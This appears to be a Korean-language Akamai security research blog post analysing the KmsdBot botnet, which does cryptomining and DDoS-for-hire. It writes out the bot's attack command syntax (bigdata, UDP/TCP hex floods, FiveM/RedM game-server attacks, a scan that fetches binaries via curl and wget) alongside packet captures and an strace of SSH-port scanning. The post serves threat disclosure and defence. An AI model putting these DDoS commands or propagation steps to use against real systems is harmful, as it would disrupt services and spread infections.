클라우드 컴퓨팅이 필요하신가요? 지금 시작해보세요

KmsdBot의 명령 및 제어 에뮬레이션 및 공격 트래픽 조사

Akamai Wave Blue

에 의해 작성

Larry Cashdollar 그리고 Allen West

December 19, 2022

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.

Allen West

에 의해 작성

Allen West

앨런 웨스트는 Akamai 보안 인텔리전스 대응팀의 보안 연구원으로 위협 조사와 툴 구축을 즐깁니다. 현재 카네기 멜론 대학교에서 정보 보안 및 보증 석사 학위를 취득하고 있습니다. 그는 노스이스턴 대학교에서 사이버 보안 학부 학위를 받았으며 해병대 복무 경력이 있습니다. 앨런은 자유시간 동안 여행, 하이킹, 수영을 좋아하며, 야외에서 모험을 즐기는 모든 것을 좋아합니다.

KmsdBot의 오리진을 정확히 확인할 수는 없지만 탄생한 지역으로 보이는 러시아와 인근 지역에서의 활동이 적은 점이 흥미롭습니다.
KmsdBot의 오리진을 정확히 확인할 수는 없지만 탄생한 지역으로 보이는 러시아와 인근 지역에서의 활동이 적은 점이 흥미롭습니다.

편집 및 추가 기여: 트리카 하워드(Tricia Howard)

핵심 요약

  • Akamai 연구원들이 암호화폐 채굴 봇넷인 KmsdBot를 계속 리서치하며 공격 트래픽을 조사했습니다.

  • KmsdBot은 수많은 업계 및 지역을 표적으로 삼기 때문에 분산 서비스 거부(DDoS) 공격 대행으로 여겨집니다.

  • 관찰된 IP와 도메인을 기준으로 대부분의 피해자는 아시아, 북미, 유럽에 위치하고 있습니다.

  • 주목할 만한 표적은 각각 Grand Theft Auto V와 Red Dead Redemption 2의 게임 변경 프레임워크인 FiveM과 RedM이었으며, 이는 KmsdBot 고객에 대한 인사이트를 제공합니다.

  • KmsdBot의 기원을 정확히 확인할 수는 없지만 탄생한 지역으로 보이는 러시아와 인근 지역에서의 활동이 적은 점이 흥미롭습니다.

서론

지난 11월 암호화폐 채굴 봇넷이 Akamai 허니팟 한 곳에 걸렸습니다. Akamai 보안 인텔리전스 대응팀(SIRT)은 이를 분석하고 KmsdBot이라고 명명했습니다. KmsdBot은 새로운 설정을 실험한 후 허니팟을 감염시켰고 몇 가지 흥미로운 오리진을 가지고 있었습니다. Akamai는 계속 분석하고, 바이너리를 수정하고, 명령 및 제어(C2)를 우리 쪽으로 향하게 하는 등 KmsdBot을 조작해 공격자가 봇넷에 충돌하는 것을 볼 수 있었습니다.

지속적인 연구의 일환으로 KmsdBot이 수용하고 실제로 구현하는 다양한 명령어를 문서화하기로 결정했습니다. 테스트 환경에서는 C2를 라우팅하고 공격 트래픽을 특정 호스트로 보낼 수 있습니다. 즉, 여러 공격 명령에서 전송된 트래픽을 검사할 수 있습니다. 참고로 봇은 GET 및 POST 요청과 함께 TCP, UDP, HTTP, HTTPS를 사용하는 레이어 4 및 레이어 7 공격을 가합니다.

초기 분석

멀웨어 분석을 통해 'move absolute' 명령을 검색하고 일부 명령 문자열을 찾을 수 있었습니다(그림 1).

그림 1: 봇넷 명령 문자열의 일부 목록 그림 1: 봇넷 명령 문자열의 일부 목록

레지스터에 데이터를 로딩하는 데 사용되는 다른 지침을 살펴보고 더 많은 명령을 찾았습니다. 이번에 찾은 명령은 LEA(Load Effective Address)입니다(그림 2). 여기에서 C2 서버의 다양한 문자열 위치를 분석할 수 있었습니다(그림 3).

그림 2: 추가 명령의 두 번째 부분 목록 그림 2: 추가 명령의 두 번째 부분 목록
그림 3: C2 서버의 문자열 위치 그림 3: C2 서버의 문자열 위치

공격 트래픽 분석

공격 트래픽의 tcpdumps를 기반으로 가용한 명령 중 일부는 아직 완전히 구현되지 않은 것으로 보이지만 기본 또는 빈 패킷을 보냅니다. 이러한 구현되지 않은 명령의 대부분은 작동하는 UDP 명령의 TCP 버전입니다. 하지만 작동하는 명령의 경우 몇 가지 고유한 공격 패턴을 관찰할 수 있습니다.

눈에 띄는 첫 번째 공격은 'bigdata'라고 하며 1Mb POST 요청을 지정된 포트로 보냅니다. 콘텐츠 종류 헤더는 페이로드가 URL로 인코딩되어 있지만 검사 시 정크 메일로 나타납니다. 이 공격의 목표는 각 요청의 본문에 대량의 데이터를 전송해 각 패킷이 요청을 처리하는 데 필요한 대역폭을 늘리는 것입니다. 이는 거의 모든 DDoS 캠페인이 사용하는 매우 기본적인 기능이며, Akamai가 관찰한 바에 따르면 이 봇넷에서 가장 많이 사용되는 기능 중 하나입니다.

  !bigdata <target> 22 600 3

20:45:31.121974 IP <infected>.51214 > <target>.80: Flags [P.], seq 7241:14481, ack 1, win 502, options [nop,nop,TS val 931669114 ecr 1577041762], length 7240: HTTP
E..|..@.@.Y..*G..*G(...P.^.&.).O.....
.....
7.$z]..b18uSfkWchTJkErN0hFunGPegITykuWPbcVUI30GnUv8MGHSWRr0txvItdKFnUcKWCmftyrshUkDqNWgKqN1sHPlZUwSm2JQ3a8T0YCJsZZdIZ4ygppFITi6tGicpEM11paeEQcSmLPzCHY6VVN7Yd7zl58GShIvCVKdubLJBS64pvpYql5SWGZpv9TIOie9abaoY1h8NXy.
.
.
5Y29QAAzIKaiY9Nixq2IlfWn9iirDg9Bdhi4VPNFeff3QLoL5CEoOy0YPrEv4c6FiqrbmsbSiUpw4dVtYqOWZF1lLHtbXTPPlcZWTFlCmpvThwrNetuKdnYUpIVrINryurKdCfeLbNOM7oJ2duL33R7k2TXO2NvIqWdtBNd4PqboRthW0fxCcB5

한편 !bigdata와 더불어 !tcpbigdata!udpbigdata도 관측되었습니다. 이들 명령은 상당히 큰 페이로드는 보내지 않으며 각각 SYN 및 UDP 패킷입니다. 표준 bigdata와 기능이 동일하며, 패킷 크기를 증가시켜 서버에 가해지는 패킷의 스트레스를 증가시키는 동시에 SYN 및 UDP 트래픽을 선택할 수 있는 제어 기능도 제공합니다. 

공격자는 SYN 플러드를 사용해 TCP 프로토콜에서 사용되는 쓰리웨이 커넥션을 악용하고 서로 다른 여러 포트에서 반쯤 열린 연결을 설정할 수 있습니다. 이로 인해 표적 서버는 트래픽을 처리하는 데 어려움을 겪게 되고 정상적인 연결 요청과 악성 연결 요청을 구별하는 데 시간이 더 많이 소요되게 됩니다. UDP 공격은 쓰리웨이 커넥션이 필요하지 않기 때문에 공격자 측의 오버헤드가 적고 표적을 공격하기가 더 쉽습니다. 표적이 제한을 제대로 평가하지 않으면 공격 리소스를 적게 사용해 효과적으로 공격을 수행할 수 있습니다.

  !udpbigdata <target> 223 120

14:34:03.823443 IP <infected>.44790 > <target>.80: UDP, length 541
E..9c.@.@..R.*G..*G(...P.%.."..y.A.>.9..)S^2...c.R.G.i~i%....=t..}8MRuu(.'a.%.b..n.~....p.....v./....8..C...53*.v.."{.-...Xc.GG....5B....Y....I..,	rC;.5C... .V`..A.....R..|.M..?.uLq/Je6~..O..w..........;.xH.K'..s.l>.p|..f.O..,Z..C...W.f.^..}@.y..a=.2l...	j..w{J..7...z.L....A..Puv1.......s*@.\......~.3.....[:...............7rm...=........4.gR..%....[.t,7..M.0......_........O..~	)rTdW...X.-.Jw.(.8..D5Q..S....OC.oz..u8..8.e...E:i.X.....+c.
.........hA[{|;Y.R.d..r!.H..8....Y....$.w.......Uc..:!.X=.fC...1.Gn...[so..{N3&..h.3.....G...2...g..@.?...xGQ<..r..*...._.7T.j..

또한 단일 패킷 크기의 전반적인 영향에 초점을 맞추는 대신, 크기와 형식 모두에서 일반 패킷과 거의 유사한 표준 트래픽과 결합되는 일부 표준 HTTP(s) POST, GET 트래픽 명령도 있었습니다. HTTP 기반 공격의 일반적인 목표는 일반적인 활동과 구분하기 어려운 많은 수의 패킷이기 때문에 공격에 대응할 때 필터링이 어렵습니다. 아래에서 볼 수 있듯이 이러한 패킷은 일반 패킷과 거의 비슷합니다.

  !post <target> 443 /fle/tracking 120 20 20 100

21:16:50.755007 IP <infected>.44466 > <target>.443: Flags [S], seq 203292974, win 64240, options [mss 1460,sackOK,TS val 933548747 ecr 0,nop,wscale 7], length 0
E..<..@.@....*G..*G(...........................
7...........
21:16:50.755031 IP <target>.443 > <infected>.44466: Flags [R.], seq 0, ack 203292975, win 0, length 0
E..(..@.@.T5.*G(.*G............/P....{..


!get <target> 443 /fle/tracking 30 20 20 100

21:24:23.088733 IP <infected>.48062 > <target>.443: Flags [S], seq 646433585, win 64240, options [mss 1460,sackOK,TS val 934001081 ecr 0,nop,wscale 7], length 0
E..<Ol@.@....*G..*G(....&..1...................
7...........
21:24:23.088751 IP <target>.443 > <infected>.48062: Flags [R.], seq 0, ack 646433586, win 0, length 0

16진수 명령(!udphex!tcphex)에는 적은 양의 16진수로 인코딩된 콘텐츠가 포함되어 있습니다. 이는 일부 호스트가 명령을 처리하기 위해 16진수로 인코딩된 콘텐츠를 요구하기 때문일 수도 있고, 표적 서버가 내부 데이터를 해석하는 것을 방해하기 위해 콘텐츠를 보내는 것이기 때문일 수도 있습니다.

  !udphex <target> 80 80 30 250

21:04:06.915036 IP <infected>.32847 > <target>.80: UDP, length 31
E..;~.@.@..j.*G..*G(.O.P.'......\.j/.....R.u.a..6.J..1.:..$

한편 udphex/tcphex 명령은 크기에 초점을 맞추지 않지만 tcphexclimb/udphexclimb 명령은 이 전략을 통합하는 것처럼 보입니다. 각 명령은 하나의 패킷으로 전송됩니다. 이러한 명령을 사용하면 패킷 크기는 udphextcphex 트래픽과 비슷하게 작게 시작하지만 전송 횟수가 증가하면서 커집니다. 이 트래픽을 잠시 관찰하면 지정된 특정 패킷 크기에 도달한 후 더 작은 크기에서 다시 시작했다가 다시 증가하는 프로세스를 계속 반복하는 것을 볼 수 있습니다.

  !udphexclimb <target> 80 60 600

21:38:53.854411 IP <infected>.50706 > <target>.80: UDP, length 1
E...o2@.@....*G..*G(...P.	...
21:38:53.854482 IP <infected>.55293 > <target>.80: UDP, length 181
E.....@.@.os.*G..*G(...P...i............A.>.....;.\...,...R...Z......2.c.....RG.<.`.%9....z....4=.W.:..+.!WA..6j..t.<..m...O	/.z3.......]w<.BX..D...Da....SV3ZC...../...x[g......).....D.vP9K7<.`.Sz.=U..3....`f.
21:38:53.867809 IP <infected>.46227 > <target>.80: UDP, length 541
E..9z.@.@....*G..*G(...P.%..em.D..'...A&./wb.
...1
....ESG.v.\S..5.....W.....J.C.>_a..{.B.........Z.......a........_{#nG%...SD.....x`q.p..^~......w@.&.~.&M..l.x.@.h..
...,....q0!......NN~......vf.}<Z.[...-.XS...%.......5......JP(>/...Z..t.........9.`..N*..o..T..z.....h ..F .-.....rat./.VQ.z.....C...}.....2..?`..H...ty.bd[.3.XN.ne.. ..e....r.|..Z'..!ge....]./s..,.{v.n..01.;..R[..~..o.Ze.tP.Rs..x.07fL.Fh.p.5.....I...4..YO..d....#.7Q03.)7.>.o...:T\naG//.....a."...e.g.(.ih.5@...c-...e.EEd..B.qM..}U./
..?H{......"<L>...#.....$.....>".X...!n........bPM.09....\6n.....0.
21:38:53.875122 IP <infected>.41308 > <target>.80: UDP, length 541
E..9.+@.@.w..*G..*G(.\.P.%......[..........:..tZn...812/...8.h5....6.,`....&..4.Un..H(....k.Sex.C.m.# ...].2b(........>.n.h.... .U....Y.[.UG.k.9..\l.."qe.76..lvkf..c...~.NrM..(m?<.F...>5/J9N...SK3.....1....G....)`...c..G..=...............:......#.n...........:..)	.n.<. .....%..ja..|.P.(........h6.vEQ..sV.....z VSr....h....... ....1xO...1.C.{..NDX2...5,R}F.Sv.mm@....5...Ss..V.j~a..k9....".3..T&B.*......=....r.
..I.3.q.u.1.
..9t...+...D..?z.D...Lu...oA....%V....#+:...z..&.GVQ..{.......6.dQ.".x...(ch....\......%.. x.d.....U#........ ...f..u...%1..\m.A. .`:B....;....

이들은 비디오 게임 변경 서버를 대상으로 하는 것처럼 보이기 때문에 두 가지 특정 명령이 눈에 띕니다. 첫 번째 게시물에서 언급했듯이 처음 발견된 KmsdBot은 FiveM를 사용했습니다. FiveM과 RedM은 각각 변경된 'Grand Theft Auto V'와 'Red Dead Redemption 2' 서버를 호스팅하기 위한 플랫폼이며 이를 통해 서버 소유자는 각기 다른 룰을 만들고 독립 실행형 게임에 없는 새로운 아이디어를 서버에 통합할 수 있습니다.

이 두 가지 명령이 존재한다는 것은 이 멀웨어가 DDoS 공격 대행이라는 의혹을 뒷받침합니다. 이 이론은 게임, 고급 브랜드, 심지어 보안 기업 등 표적이 된 다양한 업계도 뒷받침합니다. 

  !redm <target> 7777 / 10 10 10 100

21:39:42.156933 IP <infected>.32991 > <target>.80: UDP, length 1
E...u.@.@..o.*G..*G(...P.	...
21:39:42.159173 IP <infected>.51973 > <target>.80: UDP, length 1
E...f.@.@....*G..*G(...P.	..}
21:39:42.199900 IP <infected>.50248 > <target>.80: UDP, length 541
E..9..@.@.d[.*G..*G(.H.P.%..U.~.
 '..K....h._ig.o..u+Z^....B+E.9.............../.......S.m.....:.....7.U..Ys)../..........i4#..P...?...D...2e.E....]wo...-.....$.
.FG"..(./..L.	....).......q.l[..R&..A..)._..U.9O..jK<./..W'gSL.."g
i....N.b.a.../...Jq.....S.....	.e.e.b.-..<..Q.#.Nr.,u..!L....8.T..NN..	....v.........b......2oz....Y.p...=#.0c.O..)...^.U.fOy..Y#.:V..U.!..4D.......b..i.....+.w....u...5.*..r.....(.u....!....cfZ...Lw.pY.p.......I.{T...)B..n...w.4_...q.3.9.L..2.X.f...f.....\t...^)...Y....'../Kl......Bm.,8@.......<.`CR....=
..1.`.....$#.9.Q..0.%~..	..d...iw
21:39:42.208292 IP <infected>.60098 > <target>.80: UDP, length 1
E....A@.@....*G..*G(...P.	…

이 봇넷의 아주 고유한 명령은 !scan 명령입니다. 스캔 기능은 표적 환경 내의 특정 경로를 노리는 것으로 보이고, 쓰리웨이 커넥션을 수행한 다음 curl PUSH 요청과 wget PUSH 요청을 전송합니다. 또한 kumdkmsd라는 두 가지 바이너리를 실행하는 것으로 보입니다.

  !scan <target> <target>/win/kzmds <target> kumd kmsd

15:57:58.460042 IP <infected>.51782 > <target>.80: Flags [S], seq 243112026, win 64240, options [mss 1460,sackOK,TS val 1864816453 ecr 0,nop,wscale 7], length 0
E..<..@.@..;.*G..*G(.F.P.}.Z...................
o&.E........
15:57:58.460085 IP <target>.80 > <infected>.51782: Flags [S.], seq 2021013353, ack 243112027, win 65160, options [mss 1460,sackOK,TS val 2510189102 ecr 1864816453,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.Fxv7i.}.[...............
..r.o&.E....
15:57:58.460097 IP <infected>.51782 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 0
E..4..@.@..B.*G..*G(.F.P.}.[xv7j...........
o&.E..r.
15:57:58.460281 IP <infected>.51782 > <target>.80: Flags [P.], seq 1:89, ack 1, win 502, options [nop,nop,TS val 1864816453 ecr 2510189102], length 88: HTTP: GET /x86_64/ksmdx HTTP/1.1
E.....@.@....*G..*G(.F.P.}.[xv7j...........
o&.E..r.GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: curl/7.86.0
Accept: */*



15:58:04.444745 IP <infected>.41264 > <target>.80: Flags [S], seq 148305932, win 64240, options [mss 1460,sackOK,TS val 1864822437 ecr 0,nop,wscale 7], length 0
E..<k3@.@....*G..*G(.0.P.......................
o&..........
15:58:04.444793 IP <target>.80 > <infected>.41264: Flags [S.], seq 3903795483, ack 148305933, win 65160, options [mss 1460,sackOK,TS val 2510195086 ecr 1864822437,nop,wscale 7], length 0
E..<..@.@.T!.*G(.*G..P.0..1....................
....o&......
15:58:04.444807 IP <infected>.41264 > <target>.80: Flags [.], ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 0
E..4k4@.@....*G..*G(.0.P......1............
o&......
15:58:04.444992 IP <infected>.41264 > <target>.80: Flags [P.], seq 1:140, ack 1, win 502, options [nop,nop,TS val 1864822437 ecr 2510195086], length 139: HTTP: GET /x86_64/ksmdx HTTP/1.1
E...k5@.@..h.*G..*G(.0.P......1......L.....
o&......GET /x86_64/ksmdx HTTP/1.1
Host: <target>
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive

Akamai는 kmsd가 '/x86_64/ksmdx'를 실행하는 것을 관측했고, 이러한 매개변수를 ksmdx 바이너리와 함께 사용해 어떻게 되는지 확인하려 했습니다. 포트 22가 열려 있는 상태에서 IP를 스캔하기 시작했고, 이는 감염시키고 봇넷에 통합할 추가 디바이스를 검색하는 데 사용된다는 의심을 한층 더 심화시켰습니다.

  strace -f ./ksmdx <target> <target>/win/kzmds <target> kumd kmsd

[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 28
[pid  4554] connect(28, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("254.105.206.15")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 28, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497619288, u64=140327669114200}}) = 0
[pid  4554] epoll_ctl(4, EPOLL_CTL_DEL, 30, 0xc0001af594) = 0
[pid  4554] close(30)                   = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid  4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("227.46.34.129")}, 16) = -1 ENETUNREACH (Network is unreachable)
[pid  4554] close(30)                   = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 30
[pid  4554] connect(30, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("121.149.127.161")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 30, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497326296, u64=140327668821208}}) = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1056
[pid  4554] connect(1056, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("252.117.241.5")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 1056, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497346936, u64=140327668841848}}) = 0
[pid  4554] socket(AF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP) = 1057
[pid  4554] connect(1057, {sa_family=AF_INET, sin_port=htons(22), sin_addr=inet_addr("175.81.51.242")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  4554] epoll_ctl(4, EPOLL_CTL_ADD, 1057, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=2497610168, u64=140327669105080}}^Cstrace: Process 4554 detached
 <detached ...>

지리적 위치

공격 명령 외에도 관찰한 표적 IP 및 도메인을 지리적 위치에 매핑할 수 있었습니다. 관찰된 IP 및 도메인에 따르면 표적은 주로 아시아, 북미, 유럽에 집중되어 있었습니다. 

또한 러시아 영토와 주변 지역을 대상으로 하는 활동은 극히 적었으며 이는 이러한 공격의 진짜 오리진을 파악하는 데 유용한 지표가 될 수 있습니다. 그림 4에서 각 마커는 한 건 이상의 KmsdBot 공격 시도를 나타냅니다.

그림 4: KmsdBot 감염 시도 그림 4: KmsdBot 감염 시도

C2 명령어 추적

처음에는 C2 서버에서 발생하는 활동을 관찰하는 데 집중했습니다. 먼저 봇넷에 감염된 호스트에 침입한 다음 C2 서버에서 공격 명령이 들어올 때까지 기다렸습니다. 공격 명령을 Elastic에 기록했고 관찰한 명령어, 표적, 타임스탬프, 기타 변수를 확인했습니다. 

이를 통해 어떤 공격 기능이 사용되고 있는지 확인할 수 있었을 뿐만 아니라 피해자가 어떻게 확산되고 각 명령어가 어떻게 사용되는지 파악할 수 있었습니다. 이 프로세스를 통해 다음과 같은 18개의 명령어를 추출할 수 있었습니다.

  • post

  • post1

  • get

  • get1

  • bigdata

  • fivem

  • getrand

  • redm 

  • tcp

  • tcpbigdata

  • tcpclimb

  • tcphex

  • tcphexclimb

  • udp

  • udpbigdata

  • udphex

  • udphexclimb

  • 스캔

이러한 명령의 이름을 보면서 일부 명령어의 특수성과 지원되는 전반적인 종류가 가장 눈에 띄었습니다. 'bigdata'의 경우 독립형 기능뿐만 아니라 TCP 전용 버전 및 UDP 전용 버전으로도 제공됩니다. 대부분의 다른 명령어도 비슷한 방식으로 제공됩니다. 

또한 특정 게임 서버를 노리는 명령어 집합인 'fivem'과 'redm'도 발견했습니다. 이러한 명령어의 존재를 통해 표적 게임 서버에 대한 이전 관찰 내용을 추적해 이 봇넷의 대행 고객을 엿볼 수 있습니다.

그림 5에서 30일 동안 관찰한 공격 명령의 분석과 공격 명령의 발생 빈도를 확인할 수 있습니다. 

그림 5: 가장 많이 사용된 명령어 및 빈도(30일 동안 관측) 그림 5: 가장 많이 사용된 명령어 및 빈도(30일 동안 관측)

'bigdata' 및 'get' 명령어는 70여 건의 발생으로 빈도에서 상위를 차지합니다. 이는 가장 영향력 있는 일반 공격이기 때문일 것입니다. 빈도가 세 번째로 높은 공격인 'fivem'은 약 45건의 통화에서 발견됐습니다. 이는 이들 공격이 게임 서버를 주로 노리지만 게임 업계만 공격하는 것은 아닐 수도 있다는 점을 시사합니다.

FiveM 명령이 여전히 많이 사용되지만 RedM도 여전히 사용되며, 전체 명령 빈도를 확인하면 피해자 포트폴리오가 매우 다양하다는 결론을 내릴 수 있습니다. 이 봇넷은 여러 종류의 서버를 지원하기 때문에 전체적인 사용성이 높고 고객의 요구에 효과적으로 부응하는 것으로 보입니다.

결론

처음 KmsdBot 분석을 시작했을 때 몇 가지 흥미로운 점을 발견했습니다. KmsdBot은 Go 언어로 작성되었고, 암호화폐 채굴 기능을 갖고 있고, 불규칙한 표적을 노리는 것 같았습니다. 추가 분석에서 KmsdBot이 서비스 플레이어로서 DDoS로 사용된다는 증거를 발견하며 여러 흥미로운 사실을 설명할 수 있게 됐습니다.

Akamai SIRT의 목표 중 하나는 KmsdBot 같은 봇넷의 진화를 분석하고 문서화해 대중에게 관찰한 내용을 알리는 것입니다. KmsdBot은 특히 작성된 언어 면에서 전반적으로 관찰해 온 트렌드에 부합합니다. 

Go 및 심지어 컴파일된 Python 같은 다양한 언어로 악성 코드를 개발하는 것이 점점 더 일반화되고 있습니다. SIRT는 위협 환경의 변화를 지속적으로 모니터링할 것입니다.



Akamai Wave Blue

에 의해 작성

Larry Cashdollar 그리고 Allen West

December 19, 2022

Larry Cashdollar

에 의해 작성

Larry Cashdollar

래리 W. 캐시달러(Larry W. Cashdollar)는 보안 분야에서 18년 이상 취약점 연구원으로 활동해 왔으며 현재 Akamai Technologies의 보안 사고 대응 팀의 일원입니다. 래리는 서던 메인 대학교에서 컴퓨터 공학을 전공했습니다. 래리는 150개 이상의 CVE를 문서화했으며 BSides Boston, OWASP Rhode Island, Defcon에서 자신의 연구 내용에 대한 프레젠테이션을 진행했습니다. 그는 여가 시간에 야외를 즐기고 미니 자전거 엔진을 재조립합니다.

Allen West

에 의해 작성

Allen West

앨런 웨스트는 Akamai 보안 인텔리전스 대응팀의 보안 연구원으로 위협 조사와 툴 구축을 즐깁니다. 현재 카네기 멜론 대학교에서 정보 보안 및 보증 석사 학위를 취득하고 있습니다. 그는 노스이스턴 대학교에서 사이버 보안 학부 학위를 받았으며 해병대 복무 경력이 있습니다. 앨런은 자유시간 동안 여행, 하이킹, 수영을 좋아하며, 야외에서 모험을 즐기는 모든 것을 좋아합니다.